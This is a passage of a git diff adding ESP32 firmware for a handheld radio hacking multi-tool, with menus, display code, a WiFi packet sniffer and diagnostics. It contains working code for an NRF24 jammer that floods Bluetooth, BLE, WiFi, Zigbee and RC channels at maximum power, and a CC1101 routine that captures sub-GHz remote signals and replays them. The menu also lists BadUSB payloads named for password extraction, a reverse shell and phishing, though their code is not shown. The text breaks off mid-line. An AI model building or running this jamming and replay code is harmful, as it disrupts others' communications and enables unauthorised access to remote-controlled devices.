ELECHOUSE_cc1101.SetRx(); + ELECHOUSE_cc1101.setMHZ(currentFreq); + + ELECHOUSE_cc1101.setModulation(2); // ASK/OOK + ELECHOUSE_cc1101.setDRate(dataRate); + ELECHOUSE_cc1101.setDeviation(0); + ELECHOUSE_cc1101.setRxBW(rxBW); + ELECHOUSE_cc1101.setSyncMode(0); + ELECHOUSE_cc1101.setPA(powerLevel); +} + +// ===== INIT (LAZY, SAFE) ===== +// ================= CC1101 INIT ================= +bool initCC1101() { + Serial.println(); + Serial.println("===== CC1101 INIT ====="); + + // ===== SPI ===== + SPI.begin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS); + + pinMode(CC1101_CS, OUTPUT); + digitalWrite(CC1101_CS, HIGH); + + delay(100); + + // ===== GDO ===== + ELECHOUSE_cc1101.setGDO(CC1101_GDO0, -1); + + ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS); + + // ===== DETECT ===== + Serial.println("Checking chip..."); + + if (!ELECHOUSE_cc1101.getCC1101()) { + Serial.println("❌ CC1101 NOT FOUND"); + return false; + } + + Serial.println("✅ CC1101 FOUND"); + + // ===== IMPORTANT ===== + // DO NOT CALL Init() + // it freezes on some ESP32-S3 setups + + // ===== MANUAL CONFIG ===== + ELECHOUSE_cc1101.setMHZ(currentFreq); + + // 2 = ASK/OOK + ELECHOUSE_cc1101.setModulation(2); + + ELECHOUSE_cc1101.setDRate(dataRate); + + ELECHOUSE_cc1101.setRxBW(rxBW); + + ELECHOUSE_cc1101.setDeviation(0); + + // disable sync requirement + ELECHOUSE_cc1101.setSyncMode(0); + + ELECHOUSE_cc1101.setPA(powerLevel); + + // async serial mode + ELECHOUSE_cc1101.setCCMode(0); + + // enter RX + ELECHOUSE_cc1101.SetRx(); + + pinMode(CC1101_GDO0, INPUT); + + Serial.println("✅ RX MODE READY"); + + cc1101Inited = true; + return true; +} +// ===== CAPTURE CONTROL ===== +void startCapture() { + pulseIndex = 0; + capturing = true; + lastEdgeTime = micros(); + + attachInterrupt(digitalPinToInterrupt(CC1101_GDO0), pulseISR, CHANGE); + + Serial.println("Looking for RF... "); +} + +bool isCC1101Ready() { return cc1101Inited; } + +void stopCapture() { + capturing = false; + + detachInterrupt(digitalPinToInterrupt(CC1101_GDO0)); + + Serial.println("Capture stopped"); +} + +// ===== DEBUG PRINT ===== +void printCapture() { + Serial.println("Captured pulses:"); + + for (int i = 0; i < pulseIndex; i++) { + Serial.println(captureBuffer[i]); + } +} + +// ================= REPLAY ================= +void replaySignal() { + Serial.println(); + Serial.println("Replaying signal..."); + + stopCapture(); + + ELECHOUSE_cc1101.SetTx(); + + pinMode(CC1101_GDO0, OUTPUT); + + for (int i = 0; i < pulseIndex; i++) { + digitalWrite(CC1101_GDO0, (i % 2 == 0) ? HIGH : LOW); + + delayMicroseconds(captureBuffer[i]); + } + + digitalWrite(CC1101_GDO0, LOW); + + ELECHOUSE_cc1101.SetRx(); + + pinMode(CC1101_GDO0, INPUT); + + Serial.println("Replay complete"); +} + +void captureAndDisplay() { + if (!cc1101Inited) { + if (!initCC1101()) { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 20, "CC1101 Failed"); + u8g2.sendBuffer(); + return; + } + } + + startCapture(); + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 12, "CC1101 Capture"); + u8g2.drawStr(0, 28, "Waiting RF..."); + u8g2.drawStr(0, 60, "BACK = Exit"); + u8g2.sendBuffer(); + + unsigned long lastSignal = millis(); + int lastPulseCount = 0; + + while (true) { + // signal detected + if (pulseIndex > lastPulseCount) { + lastPulseCount = pulseIndex; + lastSignal = millis(); + } + + // update OLED + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + + u8g2.drawStr(0, 12, "CC1101 Capture"); + + u8g2.setCursor(0, 28); + u8g2.print("Pulses: "); + u8g2.print(pulseIndex); + + u8g2.setCursor(0, 42); + u8g2.print("Freq: "); + u8g2.print(currentFreq); + u8g2.print(" MHz"); + + if (pulseIndex > 0) { + u8g2.drawStr(0, 54, "Signal Detected"); + } else { + u8g2.drawStr(0, 54, "Waiting..."); + } + + u8g2.sendBuffer(); + + // auto print once capture stabilizes + if (pulseIndex > 20 && (millis() - lastSignal > 1500)) { + stopCapture(); + + Serial.println(); + Serial.println("===== RF CAPTURE ====="); + + for (int i = 0; i < pulseIndex; i++) { + Serial.print(captureBuffer[i]); + Serial.print(", "); + } + + Serial.println(); + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 15, "Capture Complete"); + + u8g2.setCursor(0, 35); + } + } +} + +void handleMenu() { + if (!isCC1101Ready()) { + if (!initCC1101()) { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 20, "CC1101 Failed"); + u8g2.sendBuffer(); + delay(1500); + return; + } + } + + pulseIndex = 0; + + startCapture(); + + // ===== CAPTURE FOR 5 SEC ===== + unsigned long start = millis(); + + while (millis() - start < 5000) { + noInterrupts(); + int count = pulseIndex; + interrupts(); + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + + u8g2.drawStr(0, 12, "RF Capturing..."); + + u8g2.setCursor(0, 30); + u8g2.print("Pulses: "); + u8g2.print(count); + + u8g2.sendBuffer(); + + delay(50); + } + + stopCapture(); + + // ===== DISPLAY CAPTURE BUFFER ===== + int scroll = 0; + + while (1) { + noInterrupts(); + int count = pulseIndex; + interrupts(); + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); + + u8g2.drawStr(0, 8, "Captured Buffer"); + + // display 6 lines + for (int i = 0; i < 6; i++) { + int idx = scroll + i; + + if (idx >= count) + break; + + noInterrupts(); + unsigned long val = captureBuffer[idx]; + interrupts(); + + char buf[32]; + + snprintf(buf, sizeof(buf), "%03d: %lu", idx, val); + + u8g2.drawStr(0, 20 + (i * 8), buf); + } + + u8g2.sendBuffer(); + + // scroll down + if (btnDown()) { + if (scroll < count - 1) + scroll++; + + delay(120); + } + + // scroll up + if (btnUp()) { + if (scroll > 0) + scroll--; + + delay(120); + } + + // replay + if (btnSelect()) { + replaySignal(); + delay(300); + } + + // exit + if (btnBack()) { + delay(150); + return; + } + + delay(20); + } +} diff --git a/src-arduino/rf/cc1101.h b/src-arduino/rf/cc1101.h new file mode 100644 index 0000000..def6a2e --- /dev/null +++ b/src-arduino/rf/cc1101.h @@ -0,0 +1,12 @@ +#pragma once + +bool initCC1101(); +bool isCC1101Ready(); + +void captureAndDisplay(); + +void handleMenu(); +void startCapture(); +void stopCapture(); +void printCapture(); +void replaySignal(); diff --git a/src-arduino/rf/nrf24.cpp b/src-arduino/rf/nrf24.cpp new file mode 100644 index 0000000..0b0ed90 --- /dev/null +++ b/src-arduino/rf/nrf24.cpp @@ -0,0 +1,217 @@ +#include "nrf24.h" +#include "ui/display.h" +#include "utils/buttons.h" +#include <Arduino.h> +#include <RF24.h> +#define JAM_DURATION 500 + +extern SPIClass *RADIO_SPI; +extern RF24 radio1; +extern RF24 radio2; + +// ============ CHANNELS ============= +const byte bleChannels[] = {2, 26, 80}; +const byte bluetoothChannels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, + 8, 22, 24, 26, 28, 30, 74, 76, 78, 80}; +const byte wifiChannels[] = {12, 17, 22, 27, 32, 37, 42, + 47, 52, 57, 62, 67, 72}; +const byte usbWireless_channels[] = {40, 50, 60}; +const byte videoTransmitter_channels[] = {70, 75, 80}; +const byte zigbee_channels[] = {11, 15, 20, 25}; +const byte rc_channels[] = {1, 3, 5, 7}; + +void initNRF(RF24 &radio) { + if (!radio.begin(RADIO_SPI)) { + Serial.println("NRF not found"); + return; + } + + radio.setAutoAck(false); + radio.stopListening(); + radio.setRetries(0, 0); + radio.setPALevel(RF24_PA_MAX, true); + radio.setDataRate(RF24_2MBPS); + radio.openWritingPipe(0xE7E7E7E7E7LL); + radio.setCRCLength(RF24_CRC_DISABLED); + Serial.println("NRF Initialized"); +} + +// void startBleJammer() { +// initNRF(radio1); +// initNRF(radio2); +// +// Serial.println("NRF JAMMER STARTED"); +// +// const char payload[] = "xxxxxxxxxxxxxxxx"; +// +// u8g2.clearBuffer(); +// u8g2.drawStr(0, 10, "Jamming:"); +// u8g2.setCursor(60, 10); +// u8g2.print("Bluetooth"); +// u8g2.sendBuffer(); +// +// while(true) { +// +// // Channels (you can change this set) +// const byte channels[] = {2, 26, 80}; +// +// +// for (int i = 0; i < sizeof(channels); i++) { +// radio1.setChannel(channels[i]); +// radio1.write(&payload, sizeof(payload)); +// //radio2.setChannel(channels[i]); +// //radio2.write(&payload, sizeof(payload)); +// } +// +// if (btnBack()) +// { +// Serial.println("Jammer stopped"); +// return; +// } +// } +// +// } +// +// void startBluetoothJammer() +//{ +// initNRF(radio1); +// initNRF(radio2); +// +// Serial.println("NRF JAMMER STARTED"); +// +// const char payload[] = "xxxxxxxxxxxxxxxx"; +// +// u8g2.clearBuffer(); +// u8g2.drawStr(0, 10, "Jamming:"); +// u8g2.setCursor(60, 10); +// u8g2.print("Bluetooth"); +// u8g2.sendBuffer(); +// +// while(true) { +// +// // Channels (you can change this set) +// const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, +// 24, 26, 28, 30, 74, 76, 78, 80}; +// +// +// for (int i = 0; i < sizeof(channels); i++) { +// radio1.setChannel(channels[i]); +// radio1.write(&payload, sizeof(payload)); +// //radio2.setChannel(channels[i]); +// //radio2.write(&payload, sizeof(payload)); +// } +// +// if (btnBack()) +// { +// Serial.println("Jammer stopped"); +// return; +// } +// } +// } + +void startJammer(const char *name, const byte *channels, size_t channelCount) { + initNRF(radio1); + initNRF(radio2); + + Serial.println("NRF JAMMER STARTED"); + + const char payload[] = "xxxxxxxxxxxxxxxx"; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 15, "NRF24 Jammer"); + u8g2.drawStr(0, 35, name); + u8g2.drawStr(0, 55, "BACK = Exit"); + u8g2.sendBuffer(); + + while (true) { + for (size_t i = 0; i < channelCount; i++) { + // radio1.setChannel(channels[i]); + // radio1.write(&payload, sizeof(payload)); + + // Optional second NRF + // radio2.setChannel(channels[i]); + // radio2.write(&payload, sizeof(payload)); + + radio1.setChannel(channels[i]); + radio2.setChannel(channels[(i + 1) % channelCount]); + + radio1.writeFast(&payload, sizeof(payload)); + radio2.writeFast(&payload, sizeof(payload)); + } + + if (btnBack()) { + Serial.println("Jammer stopped"); + radio1.powerDown(); + radio2.powerDown(); + return; + } + } + + // while (true) { + // for (size_t i = 0; i < channelCount; i++) + //{ + // radio1.setChannel(channels[i]); + // radio2.setChannel(channels[(i + 1) % channelCount]); + + // radio1.writeFast(&payload, sizeof(payload)); + // radio2.writeFast(&payload, sizeof(payload)); + + // radio1.txStandBy(1); + // radio2.txStandBy(1); + + // delayMicroseconds(200); + //} + + // if (btnBack()) + //{ + // Serial.println("Jammer stopped"); + + // radio1.powerDown(); + // radio2.powerDown(); + + // return; + //} + //} +} + +void NRFToolsMenu(int index) { + switch (index) { + case 0: + // startBleJammer(); + // BLE + startJammer("BLE", bleChannels, + sizeof(bleChannels) / sizeof(bleChannels[0])); + + break; + case 1: + // startBluetoothJammer(); + // Bluetooth + startJammer("Bluetooth", bluetoothChannels, + sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0])); + break; + + case 2: + startJammer("WiFi", wifiChannels, + sizeof(wifiChannels) / sizeof(wifiChannels[0])); + break; + case 3: + startJammer("USB Wireless", usbWireless_channels, + sizeof(usbWireless_channels) / + sizeof(usbWireless_channels[0])); + break; + case 4: + startJammer("Video TX", videoTransmitter_channels, + sizeof(videoTransmitter_channels) / + sizeof(videoTransmitter_channels[0])); + break; + case 5: + break; + startJammer("RC", rc_channels, + sizeof(rc_channels) / sizeof(rc_channels[0])); + break; + case 6: + + break; + } +} diff --git a/src-arduino/rf/nrf24.h b/src-arduino/rf/nrf24.h new file mode 100644 index 0000000..6d7f7d8 --- /dev/null +++ b/src-arduino/rf/nrf24.h @@ -0,0 +1,13 @@ +#pragma once + +#include <RF24.h> + +// Initialization +void initNRF(RF24 &radio); + +void startBluetoothJammer(); +void startBleJammer(); + +void startJammer(const char *name, const byte *channels, size_t channelCount); + +void NRFToolsMenu(int index); diff --git a/src-arduino/ui/display.cpp b/src-arduino/ui/display.cpp new file mode 100644 index 0000000..3fb572d --- /dev/null +++ b/src-arduino/ui/display.cpp @@ -0,0 +1,11 @@ +#include "display.h" +#include "config.h" +#include <Wire.h> + +U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, U8X8_PIN_NONE); + +void displayInit() { + Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN); + u8g2.begin(); + u8g2.setFont(u8g2_font_6x12_tr); +} diff --git a/src-arduino/ui/display.h b/src-arduino/ui/display.h new file mode 100644 index 0000000..0b48b75 --- /dev/null +++ b/src-arduino/ui/display.h @@ -0,0 +1,7 @@ +#pragma once + +#include <U8g2lib.h> + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +void displayInit(); diff --git a/src-arduino/ui/menu.cpp b/src-arduino/ui/menu.cpp new file mode 100644 index 0000000..284d214 --- /dev/null +++ b/src-arduino/ui/menu.cpp @@ -0,0 +1,316 @@ +#include "menu.h" +#include "BleMouse.h" +#include "bluetooth/ble_mouse.h" +#include "bluetooth/blescanner.h" +#include "display.h" +#include "hid/badusb.h" +#include "nfc/nfc.h" +#include "rf/cc1101.h" +#include "rf/nrf24.h" +#include "utils/buttons.h" +#include "utils/device_check.h" +#include "utils/sysinfo.h" +#include "wifi/wifi_analyzer.h" +#include "wifi/wifi_scan.h" +#include <Arduino.h> + +// ================= MENU DATA ================= +extern BleMouse bleMouse; + +// Root menu +const char *mainMenuItems[] = {"BadUSB", "RF Capture", "NRF Tools", + "BLE Scan", "Wifi Scan", "Wifi Analyzer", + "System Info", "Device Check", "Restart", + "Ble Mouse", "NFC Tools"}; + +Menu mainMenu = {mainMenuItems, + sizeof(mainMenuItems) / sizeof(mainMenuItems[0])}; + +// NRF Tools menu +const char *nrfToolsItems[] = { + "BLE Jammer", "Bluetooth Jammer", "Wifi Jammer", "USB Wireless", + "Video TX", "Zigbee", "RC" + +}; + +Menu nrfToolsMenu = {nrfToolsItems, + sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])}; + +const char *badusbItems[] = {"ORION Demo", + "RickRoll", + "Matrix Rain", + "Fake Terminal", + "Wifi Password Extractor", + "Fake Update", + "Fake BSOD", + "Glitch Screen", + "ASCII Spam", + "Hacker Typer", + "PWN Reverse shell", + "Phishing attack", + "Desktop Ghost", + "System Stresser"}; + +Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])}; + +// ================= MENU STATE ================= + +Menu *currentMenu = &mainMenu; + +int menuIndex = 0; +int menuOffset = 0; + +#define MENU_VISIBLE_ROWS 4 + +bool insideFeature = false; + +// ================= DRAW ================= + +void drawMenu() { + u8g2.clearBuffer(); + + // scroll handling + if (menuIndex < menuOffset) + menuOffset = menuIndex; + + if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS) + menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1; + + for (int i = 0; i < MENU_VISIBLE_ROWS; i++) { + int item = menuOffset + i; + + if (item >= currentMenu->size) + break; + + if (item == menuIndex) + u8g2.drawStr(0, 14 + i * 14, ">"); + + u8g2.drawStr(10, 14 + i * 14, currentMenu->items[item]); + } + + // scroll indicators + if (menuOffset > 0) + u8g2.drawStr(118, 10, "^"); + + if (menuOffset + MENU_VISIBLE_ROWS < currentMenu->size) + u8g2.drawStr(118, 62, "v"); + + u8g2.sendBuffer(); +} + +// ================= FEATURE EXECUTION ================= + +void launchFeature() { + insideFeature = true; + + if (currentMenu == &mainMenu) { + switch (menuIndex) { + case 0: // BadUSB → enter submenu + currentMenu = &badusbMenu; + menuIndex = 0; + menuOffset = 0; + break; + + case 1: + handleMenu(); + break; + case 2: + // startNRFJammer(); + // startBleJammer(); + // startBluetoothJammer(); + currentMenu = &nrfToolsMenu; + menuIndex = 0; + menuOffset = 0; + break; + + break; + case 3: + ble_scan(); + ble_drawMenu(); + while (1) { + ble_loop(); + if (btnBack()) + break; + } + break; + + case 4: { + // Start scan once + wifi_scan_start(); + wifi_scan_draw(); + + while (1) { + wifi_scan_loop(); + // EXIT condition handled ONLY here + if (btnBack()) { + delay(150); // debounce + break; + } + } + break; + } + case 5: { + + wifi_analyzer_start(); + + bool prevBack = false; + while (1) { + wifi_analyzer_loop(); + bool nowBack = btnBack(); + if (nowBack && !prevBack) { + delay(150); + break; + } + prevBack = nowBack; + } + break; + } + + case 6: + runSystemInfoFeature(); + break; + case 7: + device_check_run(); + break; + case 8: { + // wait for button release + delay(200); + + while (btnSelect()) + delay(10); + bool confirm = false; + + while (1) { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x13_tr); + + u8g2.drawStr(18, 18, "Restart Device?"); + + if (confirm) { + u8g2.drawBox(10, 35, 45, 15); + u8g2.setDrawColor(0); + u8g2.drawStr(20, 47, "YES"); + u8g2.setDrawColor(1); + + u8g2.drawStr(75, 47, "NO"); + } else { + u8g2.drawStr(20, 47, "YES"); + + u8g2.drawBox(65, 35, 45, 15); + u8g2.setDrawColor(0); + u8g2.drawStr(78, 47, "NO"); + u8g2.setDrawColor(1); + } + + u8g2.sendBuffer(); + + if (btnLeft() || btnUp()) { + confirm = true; + delay(150); + } + + if (btnRight() || btnDown()) { + confirm = false; + delay(150); + } + + if (btnSelect()) { + delay(150); + + if (confirm) { + u8g2.clearBuffer(); + u8g2.drawStr(28, 30, "Restarting..."); + u8g2.sendBuffer(); + + delay(1000); + ESP.restart(); + } else { + break; + } + } + + if (btnBack()) { + delay(150); + break; + } + } + } break; + + case 9: + // Begin Ble mouse + bleMouse.begin(); + ble_mouse_run(); + break; + case 10: + pn532_scan_loop(); + break; + } + } else if (currentMenu == &badusbMenu) { + badUSBMenu(menuIndex); + } else if (currentMenu == &nrfToolsMenu) { + NRFToolsMenu(menuIndex); + } + + insideFeature = false; + + drawMenu(); +} + +// ================= INIT ================= + +void menuInit() { + currentMenu = &mainMenu; + menuIndex = 0; + menuOffset = 0; + + drawMenu(); +} + +// ================= LOOP ================= + +void menuLoop() { + static uint32_t lastPress = 0; + + if (insideFeature) + return; + + if (millis() - lastPress < 150) + return; + + if (btnUp()) { + menuIndex--; + + if (menuIndex < 0) + menuIndex = currentMenu->size - 1; + + drawMenu(); + lastPress = millis(); + } + + else if (btnDown()) { + menuIndex++; + + if (menuIndex >= currentMenu->size) + menuIndex = 0; + + drawMenu(); + lastPress = millis(); + } + + else if (btnSelect()) { + launchFeature(); + lastPress = millis(); + } + + else if (btnBack()) { + if (currentMenu != &mainMenu) { + currentMenu = &mainMenu; + menuIndex = 0; + menuOffset = 0; + + drawMenu(); + } + + lastPress = millis(); + } +} diff --git a/src-arduino/ui/menu.h b/src-arduino/ui/menu.h new file mode 100644 index 0000000..3f37057 --- /dev/null +++ b/src-arduino/ui/menu.h @@ -0,0 +1,9 @@ +#pragma once + +struct Menu { + const char **items; + int size; +}; + +void menuInit(); +void menuLoop(); diff --git a/src-arduino/utils/buttons.cpp b/src-arduino/utils/buttons.cpp new file mode 100644 index 0000000..166ee41 --- /dev/null +++ b/src-arduino/utils/buttons.cpp @@ -0,0 +1,19 @@ +#include "buttons.h" +#include "config.h" +#include <Arduino.h> + +void buttonsInit() { + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_SELECT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + pinMode(BTN_LEFT, INPUT_PULLUP); +} + +bool btnUp() { return !digitalRead(BTN_UP); } +bool btnDown() { return !digitalRead(BTN_DOWN); } +bool btnSelect() { return !digitalRead(BTN_SELECT); } +bool btnBack() { return !digitalRead(BTN_BACK); } +bool btnRight() { return !digitalRead(BTN_RIGHT); } +bool btnLeft() { return !digitalRead(BTN_LEFT); } diff --git a/src-arduino/utils/buttons.h b/src-arduino/utils/buttons.h new file mode 100644 index 0000000..cfa9fa3 --- /dev/null +++ b/src-arduino/utils/buttons.h @@ -0,0 +1,10 @@ +#pragma once + +void buttonsInit(); + +bool btnUp(); +bool btnDown(); +bool btnSelect(); +bool btnBack(); +bool btnRight(); +bool btnLeft(); diff --git a/src-arduino/utils/device_check.cpp b/src-arduino/utils/device_check.cpp new file mode 100644 index 0000000..17613b3 --- /dev/null +++ b/src-arduino/utils/device_check.cpp @@ -0,0 +1,151 @@ +#include "ELECHOUSE_CC1101_SRC_DRV.h" +#include <Arduino.h> +#include <RF24.h> +#include <SPI.h> +#include <Wire.h> + +#include "config.h" +#include "ui/display.h" +#include "buttons.h" + +// ===== EXTERNALS ===== +extern RF24 radio1; +extern RF24 radio2; +extern SPIClass *RADIO_SPI; +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +// ===== RESULTS ===== +struct DeviceStatus { + bool nrf1 = false; + bool nrf2 = false; + bool cc1101 = false; + bool oled = true; +}; + +// ===== NRF CHECK ===== +// bool checkNRF(RF24 &radio) +//{ +// // safer: only init if needed +// if (!radio.isChipConnected()) { +// if (!radio.begin(RADIO_SPI)) +// return false; +// } +// +// return radio.isChipConnected(); +//} + +bool checkNRF(RF24 &radio) { + radio.powerDown(); + delay(5); + + if (!radio.begin(RADIO_SPI)) + return false; + + delay(5); + + return radio.isChipConnected(); +} + +// ===== CC1101 CHECK ===== +bool checkCC1101(uint8_t csPin) { + ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, csPin); + + delay(5); + + return ELECHOUSE_cc1101.getCC1101(); +} + +// ===== DRAW ===== +#define MAX_ITEMS 4 +#define VISIBLE_ROWS 5 + +const char *labels[MAX_ITEMS] = {"NRF1", "NRF2", "CC1101", "OLED"}; + +bool values[MAX_ITEMS]; + +int selectedIndex = 0; +int offset = 0; + +void drawStatus(DeviceStatus &s) { + values[0] = s.nrf1; + values[1] = s.nrf2; + values[2] = s.cc1101; + values[3] = s.oled; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + + // scrolling logic + if (selectedIndex < offset) + offset = selectedIndex; + + if (selectedIndex >= offset + VISIBLE_ROWS) + offset = selectedIndex - VISIBLE_ROWS + 1; + + for (int i = 0; i < VISIBLE_ROWS; i++) { + int item = offset + i; + if (item >= MAX_ITEMS) + break; + + int y = 12 + i * 10; + + if (item == selectedIndex) { + u8g2.drawBox(0, y - 9, 128, 10); + u8g2.setDrawColor(0); + } + + u8g2.drawStr(2, y, labels[item]); + + if (values[item]) + u8g2.drawStr(80, y, "OK"); + else + u8g2.drawStr(80, y, "FAIL"); + + if (item == selectedIndex) + u8g2.setDrawColor(1); + } + + u8g2.sendBuffer(); +} + +// ===== MAIN ===== +void device_check_run() { + DeviceStatus status; + + Serial.println("Running device diagnostics..."); + + // NRF + status.nrf1 = checkNRF(radio1); + status.nrf2 = checkNRF(radio2); + + // CC1101 + status.cc1101 = checkCC1101(CC1101_CS); + // status.cc1101 = true; + + drawStatus(status); + + Serial.println("Diagnostics complete"); + + while (1) { + drawStatus(status); + + if (btnUp()) { + selectedIndex--; + if (selectedIndex < 0) + selectedIndex = MAX_ITEMS - 1; + delay(150); + } + + if (btnDown()) { + selectedIndex++; + if (selectedIndex >= MAX_ITEMS) + selectedIndex = 0; + delay(150); + } + + if (btnBack()) { + delay(150); + break; + } + } +} diff --git a/src-arduino/utils/device_check.h b/src-arduino/utils/device_check.h new file mode 100644 index 0000000..3d6b250 --- /dev/null +++ b/src-arduino/utils/device_check.h @@ -0,0 +1,3 @@ +#pragma once + +void device_check_run(); diff --git a/src-arduino/utils/sysinfo.cpp b/src-arduino/utils/sysinfo.cpp new file mode 100644 index 0000000..091ad0f --- /dev/null +++ b/src-arduino/utils/sysinfo.cpp @@ -0,0 +1,84 @@ +#include "ui/display.h" +#include "buttons.h" +#include <Arduino.h> +#include <esp_chip_info.h> +#include <esp_heap_caps.h> + +void runSystemInfoFeature() { + esp_chip_info_t chip_info; + + esp_chip_info(&chip_info); + + while (true) { + // u8g2.clearBuffer(); + + // char buf[32]; + + // sprintf(buf, "Cores: %d", chip_info.cores); + // u8g2.drawStr(0, 14, buf); + + // sprintf(buf, "Heap: %d", + // heap_caps_get_free_size(MALLOC_CAP_DEFAULT)); + // u8g2.drawStr(0, 28, buf); + + // u8g2.drawStr(0, 60, "BACK to exit"); + + // Get RAM info + size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT); + size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT); + int ramUsage = 100 - ((freeHeap * 100) / totalHeap); + + // Get Flash info + // uint32_t flashSize = spi_flash_get_chip_size(); + uint32_t flashSize = ESP.getFlashChipSize(); + uint32_t flashUsed = ESP.getSketchSize(); + int flashUsage = (flashUsed * 100) / flashSize; + + // Temperature (approx) + uint8_t temperature = temperatureRead(); + + // Chip info + esp_chip_info_t chip_info; + esp_chip_info(&chip_info); + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x12_tr); + + char buf[32]; + + // Box 1 - RAM + u8g2.drawFrame(0, 0, 128, 12); + sprintf(buf, "RAM: %d%% used", ramUsage); + u8g2.drawStr(4, 9, buf); + + // Box 2 - Flash + u8g2.drawFrame(0, 12, 128, 12); + sprintf(buf, "Flash: %d%% used", flashUsage); + u8g2.drawStr(4, 21, buf); + + // Box 3 - Temp (FULL WIDTH now) + u8g2.drawFrame(0, 24, 128, 12); + sprintf(buf, "Temp: %d C", temperature); + u8g2.drawStr(4, 33, buf); + + // Box 4 - Chip info (FULL WIDTH) + u8g2.drawFrame(0, 36, 128, 12); + sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision); + u8g2.drawStr(4, 45, buf); + + // Box 5 - PSRAM (KB) + u8g2.drawFrame(0, 48, 128, 12); + sprintf(buf, "PSRAM: %lu KB", + heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024); + u8g2.drawStr(4, 57, buf); + + u8g2.sendBuffer(); + + if (btnBack()) { + delay(200); + return; + } + + delay(100); + } +} diff --git a/src-arduino/utils/sysinfo.h b/src-arduino/utils/sysinfo.h new file mode 100644 index 0000000..8a4f176 --- /dev/null +++ b/src-arduino/utils/sysinfo.h @@ -0,0 +1,3 @@ +#pragma once + +void runSystemInfoFeature(); diff --git a/src-arduino/wifi/wifi_analyzer.cpp b/src-arduino/wifi/wifi_analyzer.cpp new file mode 100644 index 0000000..f630f70 --- /dev/null +++ b/src-arduino/wifi/wifi_analyzer.cpp @@ -0,0 +1,137 @@ +#include <Arduino.h> +#include <WiFi.h> +#include <esp_wifi.h> + +#include "ui/display.h" +#include "utils/buttons.h" + +// ===== CONFIG ===== +#define GRAPH_WIDTH 128 +#define GRAPH_HEIGHT 44 +#define GRAPH_TOP 10 +#define MAX_POINTS 128 +#define SPIKE_THRESHOLD 30 + +// ===== STATE ===== +struct SnifferGraph { + uint8_t graphData[MAX_POINTS]; + uint8_t currentChannel = 1; + volatile uint16_t packetCounter = 0; + unsigned long lastChannelSwitch = 0; + unsigned long lastUpdate = 0; +}; + +static SnifferGraph sniffer; + +// ===== CALLBACK ===== +void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) { + if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || + type == WIFI_PKT_CTRL) { + sniffer.packetCounter++; + } +} + +// ===== INIT ===== +void wifi_analyzer_start() { + // display init (safe to call again) + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 10, "Starting analyzer..."); + u8g2.sendBuffer(); + + // reset graph + memset(sniffer.graphData, 0, sizeof(sniffer.graphData)); + sniffer.packetCounter = 0; + sniffer.currentChannel = 1; + + // reset WiFi + WiFi.disconnect(true, true); + esp_wifi_stop(); + delay(200); + esp_wifi_deinit(); + + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + esp_wifi_init(&cfg); + esp_wifi_set_storage(WIFI_STORAGE_RAM); + esp_wifi_set_mode(WIFI_MODE_NULL); + esp_wifi_start(); + + esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); + esp_wifi_set_promiscuous_rx_cb(snifferCallback); + esp_wifi_set_promiscuous(true); +} + +// ===== HELPERS ===== +static void switchChannel() { + sniffer.currentChannel++; + if (sniffer.currentChannel > 13) + sniffer.currentChannel = 1; + + esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); +} + +static void updateGraph(uint8_t value) { + for (int i = 0; i < MAX_POINTS - 1; i++) { + sniffer.graphData[i] = sniffer.graphData[i + 1]; + } + + sniffer.graphData[MAX_POINTS - 1] = value; +} + +static void drawGraph(uint16_t pktCount) { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); + + char line1[16]; + char line2[16]; + + sprintf(line1, "Ch:%d", sniffer.currentChannel); + sprintf(line2, "Pkts:%d", pktCount * 5); + + u8g2.drawStr(0, 8, line1); + u8g2.drawStr(60, 8, line2); + + for (int x = 1; x < GRAPH_WIDTH; x++) { + int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1]; + int y2 = GRAPH_TOP + GRAPH_HEIGHT - 